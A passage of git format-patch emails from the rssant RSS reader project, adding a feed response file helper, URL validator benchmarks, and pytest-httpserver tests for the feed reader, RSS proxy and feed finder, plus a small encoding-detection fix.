aiohttp-devtools django-allauth==0.41.0 # via -r requirements.in django-debug-toolbar==2.2 # via -r requirements.in @@ -95,6 +96,7 @@ pyparsing==2.4.2 # via packaging, validr pytest-asyncio==0.10.0 # via -r requirements.in pytest-cov==2.8.1 # via -r requirements.in pytest==5.4.1 # via -r requirements.in, pytest-asyncio, pytest-cov +python-dateutil==2.8.1 # via -r requirements.in, atoma python-dotenv==0.12.0 # via -r requirements.in python-slugify==3.0.2 # via -r requirements.in python3-openid==3.1.0 # via django-allauth @@ -109,7 +111,7 @@ setproctitle==1.1.10 # via pgcli sgmllib3k==1.0.0 # via feedparser shiv==0.1.1 # via -r requirements.in simplejson==3.16.0 # via django-rest-swagger -six==1.12.0 # via attrdict, configobj, django-extensions, django-rest-auth, packaging, pip-tools, prompt-toolkit, validators +six==1.12.0 # via attrdict, configobj, django-extensions, django-rest-auth, packaging, pip-tools, prompt-toolkit, python-dateutil, validators soupsieve==1.9.4 # via beautifulsoup4 sqlalchemy==1.3.15 # via -r requirements.in, django-postgrespool2 sqlparse==0.2.4 # via -r requirements.in, django, django-debug-toolbar, pgcli, pgspecial -- Gitee From 23150162225a9854a125ff99cea163606ca5ca41 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 11:03:38 +0800 Subject: [PATCH 18/26] add feed response file --- rssant_feedlib/cli.py | 64 +++----------------- rssant_feedlib/response_file.py | 93 +++++++++++++++++++++++++++++ tests/feedlib/test_response_file.py | 50 ++++++++++++++++ 3 files changed, 150 insertions(+), 57 deletions(-) create mode 100644 rssant_feedlib/response_file.py create mode 100644 tests/feedlib/test_response_file.py diff --git a/rssant_feedlib/cli.py b/rssant_feedlib/cli.py index a265f30..cb4b98b 100644 --- a/rssant_feedlib/cli.py +++ b/rssant_feedlib/cli.py @@ -1,6 +1,5 @@ import logging import os -import json import click import slugify @@ -13,8 +12,8 @@ from .finder import FeedFinder from .raw_parser import RawFeedParser from .parser import FeedParser from .reader import FeedReader -from .response import FeedResponse, FeedContentType from .feed_checksum import FeedChecksum +from .response_file import FeedResponseFile LOG = logging.getLogger(__name__) @@ -85,7 +84,8 @@ def _do_find(url, max_trys, allow_private_address, printer): def _do_parse(url: str, printer, allow_private_address, checksum, save_checksum): if not url.startswith('http://') and not url.startswith('https://'): - response = _read_local_response(url) + response_file = FeedResponseFile(url) + response = response_file.read() print('-> {}'.format(response)) else: reader = FeedReader(allow_private_address=allow_private_address) @@ -127,60 +127,10 @@ def _do_save(url, output_dir, allow_private_address): with reader: response = reader.read(url) print(f'-> {response}') - filename = slugify.slugify(url) - meta_filename = filename + '.feed.json' - if not response.ok or not response.content: - return - if response.feed_type.is_json: - filename += '.json' - elif response.feed_type.is_html: - filename += '.html' - elif response.feed_type.is_xml: - filename += '.xml' - else: - filename += '.txt' - meta = dict( - filename=filename, - url=response.url, - status=response.status, - encoding=response.encoding, - content_length=len(response.content), - feed_type=response.feed_type.value, - mime_type=response.mime_type, - use_proxy=response.use_proxy, - etag=response.etag, - last_modified=response.last_modified, - ) - meta_filepath = _normalize_path(os.path.join(output_dir, meta_filename)) - print(f'-> save {meta_filepath}') - with open(meta_filepath, 'w') as f: - f.write(pretty_format_json(meta)) - os.makedirs(output_dir, exist_ok=True) - filepath = _normalize_path(os.path.join(output_dir, filename)) - print(f'-> save {filepath}') - with open(filepath, 'wb') as f: - f.write(response.content) - - -def _read_local_response(meta_filepath) -> FeedResponse: - with open(meta_filepath) as f: - meta = json.load(f) - filename = meta['filename'] - filepath = os.path.join(os.path.dirname(meta_filepath), filename) - with open(filepath, 'rb') as f: - content = f.read() - response = FeedResponse( - url=meta['url'], - status=meta['status'], - content=content, - encoding=meta['encoding'], - feed_type=FeedContentType(meta['feed_type']), - mime_type=meta['mime_type'], - use_proxy=meta['use_proxy'], - etag=meta['etag'], - last_modified=meta['last_modified'], - ) - return response + filename = os.path.join(output_dir, slugify.slugify(url)) + response_file = FeedResponseFile(filename) + print(f'-> save {response_file.filepath}') + response_file.write(response) @cli.command() diff --git a/rssant_feedlib/response_file.py b/rssant_feedlib/response_file.py new file mode 100644 index 0000000..dbfcf5c --- /dev/null +++ b/rssant_feedlib/response_file.py @@ -0,0 +1,93 @@ +import os.path +import json + +from rssant_common.helper import pretty_format_json + +from .response import FeedResponse, FeedContentType + + +def _normalize_path(p): + return os.path.abspath(os.path.expanduser(p)) + + +class FeedResponseFile: + + def __init__(self, filename: str): + """ + /path/to/filename.feed.json + /path/to/filename.xml + """ + filename = str(filename) + if filename.endswith('.feed.json'): + filename = filename[:-len('.feed.json')] + self._filename = filename + self._meta_filepath = _normalize_path(self._filename + '.feed.json') + self._output_dir = os.path.dirname(self._meta_filepath) + + @property + def filepath(self) -> str: + return self._meta_filepath + + @classmethod + def _get_file_ext(cls, response: FeedResponse): + if response.feed_type.is_json: + return '.json' + elif response.feed_type.is_html: + return '.html' + elif response.feed_type.is_xml: + return '.xml' + else: + return '.txt' + + def write(self, response: FeedResponse): + content_length = 0 + if response.content: + content_length = len(response.content) + feed_type = response.feed_type.value if response.feed_type else None + filename = None + if response.content: + file_ext = self._get_file_ext(response) + filename = os.path.basename(self._filename) + file_ext + meta = dict( + filename=filename, + url=response.url, + status=response.status, + content_length=content_length, + encoding=response.encoding, + feed_type=feed_type, + mime_type=response.mime_type, + use_proxy=response.use_proxy, + etag=response.etag, + last_modified=response.last_modified, + ) + os.makedirs(self._output_dir, exist_ok=True) + with open(self._meta_filepath, 'w') as f: + f.write(pretty_format_json(meta)) + if filename: + filepath = _normalize_path(os.path.join(self._output_dir, filename)) + with open(filepath, 'wb') as f: + f.write(response.content) + + def read(self) -> FeedResponse: + with open(self._meta_filepath) as f: + meta = json.load(f) + content = None + filename = meta.get('filename') + if filename: + filepath = os.path.join(self._output_dir, filename) + with open(filepath, 'rb') as f: + content = f.read() + feed_type = meta.get('feed_type') + feed_type = FeedContentType(feed_type) if feed_type else None + response = FeedResponse( + url=meta['url'], + status=meta['status'], + content=content, + encoding=meta['encoding'], + feed_type=feed_type, + mime_type=meta['mime_type'], + use_proxy=meta['use_proxy'], + etag=meta['etag'], + last_modified=meta['last_modified'], + ) + return response diff --git a/tests/feedlib/test_response_file.py b/tests/feedlib/test_response_file.py new file mode 100644 index 0000000..ba05426 --- /dev/null +++ b/tests/feedlib/test_response_file.py @@ -0,0 +1,50 @@ +import pytest + +from rssant_feedlib import FeedResponseBuilder +from rssant_feedlib.response_file import FeedResponseFile + + +def _build_simple_response(status): + builder = FeedResponseBuilder() + builder.url('https://www.example.com/feed.xml') + builder.status(status) + builder.headers({ + 'etag': '5e8c43f8-4d269b', + 'content-type': 'application/xml', + }) + builder.content(''' + + + V2EX - 技术 + '''.encode('utf-8')) + response = builder.build() + return response + + +def _build_no_content_response(status): + builder = FeedResponseBuilder() + builder.url('https://www.example.com/feed.xml') + builder.status(status) + response = builder.build() + return response + + +_builder_funcs = { + 'simple': _build_simple_response, + 'no_content': _build_no_content_response, +} + + +@pytest.mark.parametrize('builder, status', [ + ('simple', 200), + ('simple', 500), + ('no_content', 204), + ('no_content', -200), +]) +def test_response_file(tmp_path, builder, status): + response = _builder_funcs[builder](status) + file = FeedResponseFile(tmp_path / 'test_response_file') + file.write(response) + file2 = FeedResponseFile(file.filepath) + response2 = file2.read() + assert repr(response) == repr(response2) -- Gitee From 8c5eee39dce36c5465b78ba89bbb484b2f78c529 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 11:04:28 +0800 Subject: [PATCH 19/26] test url validator --- rssant_common/validator.py | 3 ++ tests/common/__init__.py | 0 tests/common/test_validator.py | 83 ++++++++++++++++++++++++++++++++++ 3 files changed, 86 insertions(+) create mode 100644 tests/common/__init__.py create mode 100644 tests/common/test_validator.py diff --git a/rssant_common/validator.py b/rssant_common/validator.py index b0cf323..3b3c6ae 100644 --- a/rssant_common/validator.py +++ b/rssant_common/validator.py @@ -167,3 +167,6 @@ VALIDATORS = { compiler = Compiler(validators=VALIDATORS) + +# warming up django url validator +compiler.compile(T.url)('https://example.com/') diff --git a/tests/common/__init__.py b/tests/common/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/common/test_validator.py b/tests/common/test_validator.py new file mode 100644 index 0000000..24131f9 --- /dev/null +++ b/tests/common/test_validator.py @@ -0,0 +1,83 @@ +from timeit import Timer +from validr import T, Compiler, Invalid +from validators import url as _validators_url +from django.core.validators import URLValidator +from django.core.exceptions import ValidationError + + +def validators_url(x): + return _validators_url(x) is True + + +_validr_url = Compiler().compile(T.url.scheme('http https')) + + +def validr_url(x): + try: + _validr_url(x) + except Invalid: + return False + else: + return True + + +_django_url = URLValidator({'http', 'https'}) + + +def django_url(x): + try: + _django_url(x) + except ValidationError: + return False + else: + return True + + +url_cases = { + 'valid': [ + 'http://127.0.0.1:8080/hello?key=中文', + 'http://tool.lu/regex/', + 'https://github.com/guyskk/validator', + 'https://avatars3.githubusercontent.com/u/6367792?v=3&s=40', + 'https://github.com', + 'https://www.google.com/' + 'x' * 128, + ], + 'invalid': [ + 'mail@qq.com', + 'google', + 'readme.md', + 'github.com', + 'www.google.com', + 'http://www.google.com', + '//cdn.bootcss.com/bootstrap/4.0.0-alpha.3/css/bootstrap.min.css', + ] +} + + +def _benchmark_url_validator(fn): + for url in url_cases['valid']: + assert fn(url), f'valid url={url}' + for url in url_cases['invalid']: + if fn(url): + print(f'invalid url={url}') + + +def test_benchmark_url_validator(): + funcs = [ + ('validr', validr_url), + ('validators', validators_url), + ('django', django_url), + ] + bench = _benchmark_url_validator + for name, fn in funcs: + print(name.center(79, '-')) + bench(fn) + print('OK') + for name, fn in funcs: + print(name.center(79, '-')) + n, t = Timer(lambda: bench(fn)).autorange() + print('{:>8} loops cost {:.3f}s'.format(n, t)) + + +if __name__ == "__main__": + test_benchmark_url_validator() -- Gitee From aac7b094cde4b2db265dda144f7e28969784654f Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 14:13:43 +0800 Subject: [PATCH 20/26] add tests for feed reader --- requirements.in | 2 +- requirements.txt | 6 +- rssant_feedlib/async_reader.py | 4 +- tests/feedlib/test_async_reader.py | 31 ----- tests/feedlib/test_reader.py | 214 ++++++++++++++++++++++++++++- 5 files changed, 214 insertions(+), 43 deletions(-) delete mode 100644 tests/feedlib/test_async_reader.py diff --git a/requirements.in b/requirements.in index 9bc021e..a118c94 100644 --- a/requirements.in +++ b/requirements.in @@ -73,7 +73,7 @@ packaging==19.2 # test pytest==5.4.1 pytest-cov==2.8.1 -pytest-asyncio==0.10.0 +pytest-httpserver==0.3.4 flake8==3.7.9 pycodestyle==2.5.0 coverage==4.5.4 diff --git a/requirements.txt b/requirements.txt index 49c2ac0..de21458 100644 --- a/requirements.txt +++ b/requirements.txt @@ -93,9 +93,9 @@ pyinstrument-cext==0.2.2 # via -r requirements.in, pyinstrument pyinstrument==3.1.3 # via -r requirements.in pynliner==0.8.0 # via -r requirements.in pyparsing==2.4.2 # via packaging, validr -pytest-asyncio==0.10.0 # via -r requirements.in pytest-cov==2.8.1 # via -r requirements.in -pytest==5.4.1 # via -r requirements.in, pytest-asyncio, pytest-cov +pytest-httpserver==0.3.4 # via -r requirements.in +pytest==5.4.1 # via -r requirements.in, pytest-cov python-dateutil==2.8.1 # via -r requirements.in, atoma python-dotenv==0.12.0 # via -r requirements.in python-slugify==3.0.2 # via -r requirements.in @@ -126,7 +126,7 @@ validators==0.14.0 # via -r requirements.in validr==1.2.0b2 # via -r requirements.in watchgod==0.5 # via aiohttp-devtools wcwidth==0.1.7 # via prompt-toolkit, pytest, tabulate -werkzeug==0.16.0 # via flask +werkzeug==0.16.0 # via flask, pytest-httpserver whitenoise==5.0.1 # via -r requirements.in yarl==1.4.2 # via -r requirements.in, aiohttp zipp==3.1.0 # via importlib-metadata diff --git a/rssant_feedlib/async_reader.py b/rssant_feedlib/async_reader.py index 94d499a..f37a110 100644 --- a/rssant_feedlib/async_reader.py +++ b/rssant_feedlib/async_reader.py @@ -181,12 +181,12 @@ class AsyncFeedReader: response: aiohttp.ClientResponse if not is_ok_status(response.status): body = await self._read_text(response) - message = f'{response.status} body={body!r}' + message = f'status={response.status} body={body!r}' raise RSSProxyError(message) proxy_status = response.headers.get('x-rss-proxy-status', None) if proxy_status and proxy_status.upper() == 'ERROR': body = await self._read_text(response) - message = f'{response.status} body={body!r}' + message = f'status={response.status} body={body!r}' raise RSSProxyError(message) proxy_status = int(proxy_status) if proxy_status else HTTPStatus.OK.value content = None diff --git a/tests/feedlib/test_async_reader.py b/tests/feedlib/test_async_reader.py deleted file mode 100644 index ace090a..0000000 --- a/tests/feedlib/test_async_reader.py +++ /dev/null @@ -1,31 +0,0 @@ -import pytest -from rssant_config import CONFIG -from rssant_feedlib.async_reader import AsyncFeedReader - - -@pytest.mark.xfail(reason='proxy depends on test network') -@pytest.mark.parametrize('url', [ - 'https://www.reddit.com/r/Python.rss', - 'https://www.youtube.com/feeds/videos.xml?channel_id=UCBcRF18a7Qf58cCRy5xuWwQ', -]) -@pytest.mark.asyncio -async def test_async_read_by_proxy(url): - async with AsyncFeedReader( - rss_proxy_url=CONFIG.rss_proxy_url, - rss_proxy_token=CONFIG.rss_proxy_token, - ) as reader: - response = await reader.read(url, use_proxy=True) - assert response.ok - assert response.url == url - - -@pytest.mark.parametrize('url', [ - 'https://www.ruanyifeng.com/blog/atom.xml', - 'https://blog.guyskk.com/feed.xml', -]) -@pytest.mark.asyncio -async def test_read(url): - async with AsyncFeedReader() as reader: - response = await reader.read(url) - assert response.ok - assert response.url == url diff --git a/tests/feedlib/test_reader.py b/tests/feedlib/test_reader.py index 1a666b9..494e693 100644 --- a/tests/feedlib/test_reader.py +++ b/tests/feedlib/test_reader.py @@ -1,15 +1,57 @@ +import asyncio +import os.path +import json +import traceback +import logging +from urllib.parse import urlparse, parse_qsl +from typing import Type +from pathlib import Path + import pytest +from pytest_httpserver import HTTPServer +from werkzeug.datastructures import Headers as HTTPHeaders +from werkzeug import Response as WerkzeugResponse, Request as WerkzeugRequest + from rssant_config import CONFIG -from rssant_feedlib.reader import FeedReader +from rssant_feedlib.reader import FeedReader, FeedResponseStatus +from rssant_feedlib.async_reader import AsyncFeedReader + + +LOG = logging.getLogger(__name__) + + +class SyncAsyncFeedReader: + def __init__(self, *args, **kwargs): + self._loop = asyncio.get_event_loop() + self._loop_run = self._loop.run_until_complete + self._reader = AsyncFeedReader(*args, **kwargs) + + @property + def has_rss_proxy(self): + return self._reader.has_rss_proxy + + def read(self, *args, **kwargs): + return self._loop_run(self._reader.read(*args, **kwargs)) + + def __enter__(self): + self._loop_run(self._reader.__aenter__()) + return self + + def __exit__(self, *args): + return self._loop_run(self._reader.__aexit__(*args)) + + def close(self): + return self._loop_run(self._reader.close()) -@pytest.mark.xfail(reason='proxy depends on test network') +@pytest.mark.xfail(run=False, reason='depends on test network') @pytest.mark.parametrize('url', [ 'https://www.reddit.com/r/Python.rss', 'https://www.youtube.com/feeds/videos.xml?channel_id=UCBcRF18a7Qf58cCRy5xuWwQ', ]) -def test_read_by_proxy(url): - with FeedReader( +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_by_proxy(reader_class: Type[FeedReader], url): + with reader_class( rss_proxy_url=CONFIG.rss_proxy_url, rss_proxy_token=CONFIG.rss_proxy_token, ) as reader: @@ -18,12 +60,172 @@ def test_read_by_proxy(url): assert response.url == url +@pytest.mark.xfail(run=False, reason='depends on test network') @pytest.mark.parametrize('url', [ 'https://www.ruanyifeng.com/blog/atom.xml', 'https://blog.guyskk.com/feed.xml', ]) -def test_read(url): - with FeedReader() as reader: +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_by_real(reader_class: Type[FeedReader], url): + with reader_class() as reader: response = reader.read(url) assert response.ok assert response.url == url + + +@pytest.mark.parametrize('status', [ + 200, 201, 301, 302, 400, 403, 404, 500, 502, 600, +]) +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_status(reader_class: Type[FeedReader], httpserver: HTTPServer, status: int): + options = dict(allow_non_webpage=True, allow_private_address=True) + local_resp = WerkzeugResponse(str(status), status=status) + httpserver.expect_request("/status").respond_with_response(local_resp) + url = httpserver.url_for("/status") + with reader_class(**options) as reader: + response = reader.read(url) + assert response.status == status + assert response.content == str(status).encode() + + +@pytest.mark.parametrize('mime_type', [ + 'image/png', 'text/csv', +]) +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_non_webpage(reader_class: Type[FeedReader], httpserver: HTTPServer, mime_type: str): + options = dict(allow_private_address=True) + local_resp = WerkzeugResponse(b'xxxxxxxx', mimetype=mime_type) + httpserver.expect_request("/non-webpage").respond_with_response(local_resp) + url = httpserver.url_for("/non-webpage") + with reader_class(**options) as reader: + response = reader.read(url) + assert response.status == FeedResponseStatus.CONTENT_TYPE_NOT_SUPPORT_ERROR + assert not response.content + + +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_private_addres(reader_class: Type[FeedReader], httpserver: HTTPServer): + httpserver.expect_request("/private-address").respond_with_json(0) + url = httpserver.url_for("/private-address") + with reader_class() as reader: + response = reader.read(url) + assert response.status == FeedResponseStatus.PRIVATE_ADDRESS_ERROR + assert not response.content + + +_data_dir = Path(__file__).parent / 'testdata' + + +def _collect_testdata_filepaths(): + cases = [] + for filepath in (_data_dir / 'encoding/chardet').glob("*"): + cases.append(filepath.absolute()) + for filepath in (_data_dir / 'parser').glob("*/*"): + cases.append(filepath.absolute()) + cases = [os.path.relpath(x, _data_dir) for x in cases] + return cases + + +def _collect_header_cases(): + return [ + "application/json;charset=utf-8", + "application/atom+xml; charset='us-ascii'", + "application/atom+xml; charset='gb2312'", + "application/atom+xml;CHARSET=GBK", + None, + ] + + +@pytest.mark.parametrize('filepath', _collect_testdata_filepaths()) +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_testdata(reader_class: Type[FeedReader], httpserver: HTTPServer, filepath: str): + filepath = _data_dir / filepath + content = filepath.read_bytes() + urls = [] + for i, x in enumerate(_collect_header_cases()): + local_resp = WerkzeugResponse(content, content_type=x) + httpserver.expect_request(f"/testdata/{i}").respond_with_response(local_resp) + urls.append(httpserver.url_for(f"/testdata/{i}")) + options = dict(allow_private_address=True) + with reader_class(**options) as reader: + for url in urls: + response = reader.read(url) + assert response.ok + assert response.content == content + assert response.encoding + assert response.feed_type + + +_RSS_PROXY_TOKEN = 'TEST_RSS_PROXY_TOKEN' + + +def _parse_query(qs) -> dict: + query = {} + for k, v in parse_qsl(qs): + query[k] = v + return query + + +def rss_proxy_handler(request: WerkzeugRequest) -> WerkzeugResponse: + try: + data = json.loads(request.data.decode('utf-8')) + assert data['token'] == _RSS_PROXY_TOKEN + assert data.get('method') in (None, 'POST') + url = urlparse(data['url']) + query = _parse_query(url.query) + assert url.path == '/not-proxy' + assert HTTPHeaders(data['headers'])['user-agent'] + except Exception as ex: + LOG.warning(ex, exc_info=ex) + msg = traceback.format_exception_only(type(ex), ex) + return WerkzeugResponse(msg, status=400) + status = query.get('status') + error = query.get('error') + if error: + if error == 'ERROR': + headers = {'x-rss-proxy-status': 'ERROR'} + return WerkzeugResponse(str(status), status=200, headers=headers) + else: + return WerkzeugResponse(str(status), status=int(error)) + else: + status = int(status) if status else 200 + headers = {'x-rss-proxy-status': status} + return WerkzeugResponse(str(status), status=200, headers=headers) + + +def _setup_rss_proxy(httpserver: HTTPServer): + httpserver.expect_request("/rss-proxy", method='POST')\ + .respond_with_handler(rss_proxy_handler) + httpserver.expect_request("/not-proxy").respond_with_data('ERROR', status=500) + proxy_url = httpserver.url_for('/rss-proxy') + url = httpserver.url_for('/not-proxy') + options = dict( + allow_private_address=True, + rss_proxy_url=proxy_url, + rss_proxy_token=_RSS_PROXY_TOKEN, + ) + return options, url + + +@pytest.mark.parametrize('status', [ + 200, 201, 301, 302, 400, 403, 404, 500, 502, 600, +]) +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_rss_proxy(reader_class: Type[FeedReader], httpserver: HTTPServer, status: int): + options, url = _setup_rss_proxy(httpserver) + with reader_class(**options) as reader: + response = reader.read(url + f'?status={status}', use_proxy=True) + httpserver.check_assertions() + assert response.status == status + + +@pytest.mark.parametrize('error', [ + 301, 302, 400, 403, 404, 500, 502, 'ERROR', +]) +@pytest.mark.parametrize('reader_class', [FeedReader, SyncAsyncFeedReader]) +def test_read_rss_proxy_error(reader_class: Type[FeedReader], httpserver: HTTPServer, error): + options, url = _setup_rss_proxy(httpserver) + with reader_class(**options) as reader: + response = reader.read(url + f'?error={error}', use_proxy=True) + httpserver.check_assertions() + assert response.status == FeedResponseStatus.RSS_PROXY_ERROR -- Gitee From 1a13957a606a7dfa07e50a2d461a299ff5053f93 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 15:17:07 +0800 Subject: [PATCH 21/26] test and fix feed finder --- rssant_feedlib/finder.py | 33 ++-- rssant_feedlib/response.py | 18 ++ tests/feedlib/test_finder.py | 156 ++++++++++++++++++ .../{failed => warn}/https-1a23-com-feed.xml | 0 4 files changed, 186 insertions(+), 21 deletions(-) create mode 100644 tests/feedlib/test_finder.py rename tests/feedlib/testdata/parser/{failed => warn}/https-1a23-com-feed.xml (100%) diff --git a/rssant_feedlib/finder.py b/rssant_feedlib/finder.py index e71cd09..8c65d5e 100644 --- a/rssant_feedlib/finder.py +++ b/rssant_feedlib/finder.py @@ -196,6 +196,7 @@ class FeedFinder: self.reader = reader self._links = {start_url: ScoredLink(start_url, 1.0)} self._visited = set() + self._guessed = False @property def has_rss_proxy(self): @@ -219,7 +220,7 @@ class FeedFinder: def _read(self, url, current_try, use_proxy=False): self._visited.add(url) res = self.reader.read(url, use_proxy=use_proxy) - if res.ok and current_try == 0 and res.history: + if res.ok and current_try == 0 and res.url != url: # 发生了重定向,重新设置start_url url = res.url self._log(f'resolve redirect, set start url to {unquote(url)}') @@ -372,6 +373,13 @@ class FeedFinder: return self._pop_candidate() return ret + def _try_guess_links(self): + if not self._links and not self._guessed: + msg = f'guess some links from start_url' + self._log(msg) + self._guess_links() + self._guessed = True + def find(self) -> Tuple[FeedResponse, FeedResult]: use_proxy = False current_try = 0 @@ -390,18 +398,16 @@ class FeedFinder: res = self._read(url, current_try, use_proxy=True) if res.status in (200, 404): use_proxy = True - shoud_abort = res.status not in (200, 404) + shoud_abort = FeedResponseStatus.is_permanent_failure(res.status) if shoud_abort: self._log('The url is unable to connect or likely not contain feed, abort!') break if not res.ok or not res.content: - if current_try == 0 and not self._links: - msg = f'{url} not contain links, will guess some links from it' - self._log(msg) - self._guess_links() + self._try_guess_links() continue result = self._parse(res) if result is None: + self._try_guess_links() continue num_storys = len(result.storys) version = result.feed['version'] @@ -442,18 +448,3 @@ def _main(): if found: response, result = found print(f"Got: response={response} result={result}") - - -if __name__ == "__main__": - logging.basicConfig( - format="%(levelname)1.1s %(asctime)s %(name)s:%(lineno)-4d %(message)s" - ) - LOG.setLevel("DEBUG") - feeds = [] - _main() - # from pyinstrument import Profiler - # profiler = Profiler() - # profiler.start() - # run(_main()) - # profiler.stop() - # print(profiler.output_text(unicode=True, color=True)) diff --git a/rssant_feedlib/response.py b/rssant_feedlib/response.py index 67aaf9a..078402b 100644 --- a/rssant_feedlib/response.py +++ b/rssant_feedlib/response.py @@ -48,8 +48,26 @@ class FeedResponseStatus(enum.IntEnum): @classmethod def is_need_proxy(cls, value): + """ + >>> FeedResponseStatus.is_need_proxy(FeedResponseStatus.CONNECTION_TIMEOUT) + True + >>> FeedResponseStatus.is_need_proxy(404) + False + """ return value in _NEED_PROXY_STATUS_SET + @classmethod + def is_permanent_failure(cls, value): + """ + >>> FeedResponseStatus.is_permanent_failure(FeedResponseStatus.CONNECTION_TIMEOUT) + True + >>> FeedResponseStatus.is_permanent_failure(FeedResponseStatus.RSS_PROXY_ERROR) + True + >>> FeedResponseStatus.is_permanent_failure(404) + False + """ + return value < 0 and abs(value) // 100 in (2, 3) + _NEED_PROXY_STATUS_SET = {x.value for x in [ FeedResponseStatus.CONNECTION_ERROR, diff --git a/tests/feedlib/test_finder.py b/tests/feedlib/test_finder.py new file mode 100644 index 0000000..6eb6624 --- /dev/null +++ b/tests/feedlib/test_finder.py @@ -0,0 +1,156 @@ +import pytest +from pytest_httpserver import HTTPServer + +from rssant_feedlib.finder import FeedFinder + + +home_page = """ + + + + + + + + +阮一峰的网络日志 + + +这里记录每周值得分享的科技内容,周五发布。 + + +""" + +bad_feed_page = """ +EGOIST v1-legacy +""" + +ok_feed_page = """ + + +Test-Feed-Finder +way to explore + + + + +https://www.v2ex.com/ + +2017-08-31T11:31:21Z + +Copyright © 2010-2018, V2EX + + [Python] 最近看异步 IO,发现 curio 真是好,看了一半感觉豁然开朗 + + tag:www.v2ex.com,2017-09-02:/t/387702 + 2017-09-02T11:34:21Z + 2017-08-31T11:31:21Z + + guyskk + https://www.v2ex.com/member/guyskk + + https://github.com/dabeaz/curio +
    开发文档(推荐): +http://curio.readthedocs.io/en/latest/devel.html +
    +
    初步看了一下源码,在架构设计上完胜 asyncio,也有很多关于实现细节的注解,对理解异步 IO 大有帮助。 + ]]>
    +
    + [分享创造] 发现 unicode 有点意思ௐ,用来做 icon 怎么样ൠ? + + tag:www.v2ex.com,2017-07-27:/t/378265 + 2017-07-27T02:27:43Z + 2017-07-27T07:12:31Z + + guyskk + https://www.v2ex.com/member/guyskk + + +http://graphemica.com/unicode/characters/page/13 + ]]> + +
    +""" + + +def _setup_feed_server(httpserver: HTTPServer): + httpserver.expect_request('/').respond_with_data(home_page) + httpserver.expect_request('/404').respond_with_data('Not Found', status=404) + headers = {'Location': '/302'} + httpserver.expect_request('/302').respond_with_data( + '302 Redirect', status=302, headers=headers) + headers = {'Location': '/'} + httpserver.expect_request('/go/home').respond_with_data( + 'Go Home', status=301, headers=headers) + httpserver.expect_request('/ok-feed.xml').respond_with_data(ok_feed_page) + httpserver.expect_request('/bad-feed.xml').respond_with_data(bad_feed_page) + + +def _create_finder(start_url): + messages = [] + + def message_handler(msg): + messages.append(msg) + + finder = FeedFinder( + start_url, + message_handler=message_handler, + allow_private_address=True, + ) + return finder, messages + + +@pytest.mark.parametrize('start_path', [ + '/', + '/404', + '/302', + '/go/home', + '/bad-feed.xml', + '/ok-feed.xml', +]) +def test_find_ok(httpserver: HTTPServer, start_path: str): + _setup_feed_server(httpserver) + start_url = httpserver.url_for(start_path) + feed_url = httpserver.url_for('/ok-feed.xml') + finder, messages = _create_finder(start_url) + with finder: + found = finder.find() + assert found, f'messages={messages}' + response, raw_result = found + assert response.url == feed_url + assert raw_result.feed['title'] == 'Test-Feed-Finder' + + +def test_find_not_found(httpserver: HTTPServer): + httpserver.expect_request('/404').respond_with_data('Not Found', status=404) + start_url = httpserver.url_for('/404') + finder, messages = _create_finder(start_url) + with finder: + found = finder.find() + assert not found, f'messages={messages}' + + +real_urls = [ + "ruanyifeng.com", + "https://arp242.net/feed.xml", + "https://www.imququ.com", + "blog.guyskk.com", + "http://www.zreading.cn/ican/2010/03/feed-subscribe/", + "http://www.ruanyifeng.com/blog/", + "https://www.zhihu.com/question/19580096", +] + + +@pytest.mark.xfail(run=False, reason='depends on test network') +@pytest.mark.parametrize('start_url', real_urls) +def test_find_real(start_url: str): + finder, messages = _create_finder(start_url) + with finder: + found = finder.find() + if found: + response, result = found + print(f"Got: response={response} result={result}") + assert found, messages diff --git a/tests/feedlib/testdata/parser/failed/https-1a23-com-feed.xml b/tests/feedlib/testdata/parser/warn/https-1a23-com-feed.xml similarity index 100% rename from tests/feedlib/testdata/parser/failed/https-1a23-com-feed.xml rename to tests/feedlib/testdata/parser/warn/https-1a23-com-feed.xml -- Gitee From 1a7d8d4f5f351fa3132feedabc1bb74e58eec71e Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 15:24:24 +0800 Subject: [PATCH 22/26] test and fix parse bad encoding feed --- rssant_feedlib/response_builder.py | 2 ++ tests/feedlib/test_parser.py | 13 +++++++++++++ 2 files changed, 15 insertions(+) diff --git a/rssant_feedlib/response_builder.py b/rssant_feedlib/response_builder.py index e07ac74..0faadf7 100644 --- a/rssant_feedlib/response_builder.py +++ b/rssant_feedlib/response_builder.py @@ -85,6 +85,8 @@ def _detect_json_encoding(content: bytes) -> str: def _detect_chardet_encoding(content: bytes) -> str: # chardet检测编码有些情况会非常慢,换成cchardet实现,性能可以提升100倍 r = cchardet.detect(content) + if not r or not r.get('encoding'): + return None encoding = r['encoding'].lower() if r['confidence'] < 0.5: # 解决常见的乱码问题,chardet没检测出来基本就是iso8859-*和windows-125*编码 diff --git a/tests/feedlib/test_parser.py b/tests/feedlib/test_parser.py index 858fe1c..d6d0a95 100644 --- a/tests/feedlib/test_parser.py +++ b/tests/feedlib/test_parser.py @@ -1,4 +1,5 @@ import logging +import os from pathlib import Path import pytest @@ -61,6 +62,18 @@ def test_raw_parse_failed(filename): assert ex +def test_raw_parse_bad_encoding(): + content = os.urandom(16 * 1024) + builder = FeedResponseBuilder() + builder.url('https://blog.example.com/feed') + builder.content(content) + response = builder.build() + parser = RawFeedParser() + with pytest.raises(FeedParserError) as ex: + parser.parse(response) + assert ex + + def _collect_parser_cases(): cases = [] for base_dir in ['well', 'warn']: -- Gitee From 2e8a5b76b7a6d89779816dcfb0667b1483705701 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sun, 12 Apr 2020 16:38:26 +0800 Subject: [PATCH 23/26] fix normalize url with quote --- rssant_feedlib/processor.py | 